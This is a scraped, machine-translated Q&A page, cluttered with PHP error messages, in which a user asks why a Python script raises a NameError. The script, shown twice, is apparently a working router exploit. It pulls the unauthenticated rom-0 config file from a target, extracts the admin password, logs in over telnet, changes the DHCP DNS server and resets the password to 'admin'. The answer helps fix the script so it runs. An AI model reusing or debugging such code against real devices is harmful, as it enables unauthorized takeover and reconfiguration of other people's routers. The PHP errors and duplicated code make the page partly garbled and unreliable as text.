Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/356.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python错误名称错误:_Python - Fatal编程技术网

Python错误名称错误:

Python错误名称错误:,python,Python,我是python编程新手。我正在尝试一个简单的代码,但当我运行该代码时,它会显示如下错误: root@bt:~# python code.py Traceback (most recent call last): File "code.py", line 42, in <module> print host+" -> Offline!" NameError: name 'host' is not defined 代码.py from poster.encode i

我是python编程新手。我正在尝试一个简单的代码,但当我运行该代码时,它会显示如下错误:

root@bt:~# python code.py
Traceback (most recent call last):
  File "code.py", line 42, in <module>
    print host+" -> Offline!"
NameError: name 'host' is not defined
代码.py

from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)

register_openers()

try:
    os.remove("rom-0")
except:
    pass
try:
    host=str(sys.argv[1])
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")

    datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})

    request = urllib2.Request("http://localhost/decoded.php", datagen, headers)

    str1 = urllib2.urlopen(request).read()
    m = re.search('rows=10>(.*)', str1)
    if m:
        found = m.group(1)   
    tn = telnetlib.Telnet(host, 23, 3)         
    tn.read_until("Password: ") 
    tn.write(found + "\n") 
    tn.write("set lan dhcpdns 8.8.8.8\n")
    tn.write("sys password admin\n")
    print host+" -> Success" 
    tn.write("exit\n")
except:
    print host+" -> Offline!"

看起来,在声明变量host之前,您将直接进入最后一个except块。在try/except之前声明host,您应该找到实际错误的来源。我猜错误是因为您没有向脚本传递参数:

python code.py某些参数


你一小时前贴的。这里有很好的答案。读它们!你可能会发现我的回答与你的情况有关。
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)

register_openers()

try:
    os.remove("rom-0")
except:
    pass
try:
    host=str(sys.argv[1])
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")

    datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})

    request = urllib2.Request("http://localhost/decoded.php", datagen, headers)

    str1 = urllib2.urlopen(request).read()
    m = re.search('rows=10>(.*)', str1)
    if m:
        found = m.group(1)   
    tn = telnetlib.Telnet(host, 23, 3)         
    tn.read_until("Password: ") 
    tn.write(found + "\n") 
    tn.write("set lan dhcpdns 8.8.8.8\n")
    tn.write("sys password admin\n")
    print host+" -> Success" 
    tn.write("exit\n")
except:
    print host+" -> Offline!"
host="Error!" # declare host here 
try:
    host=str(sys.argv[1]) 
    urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")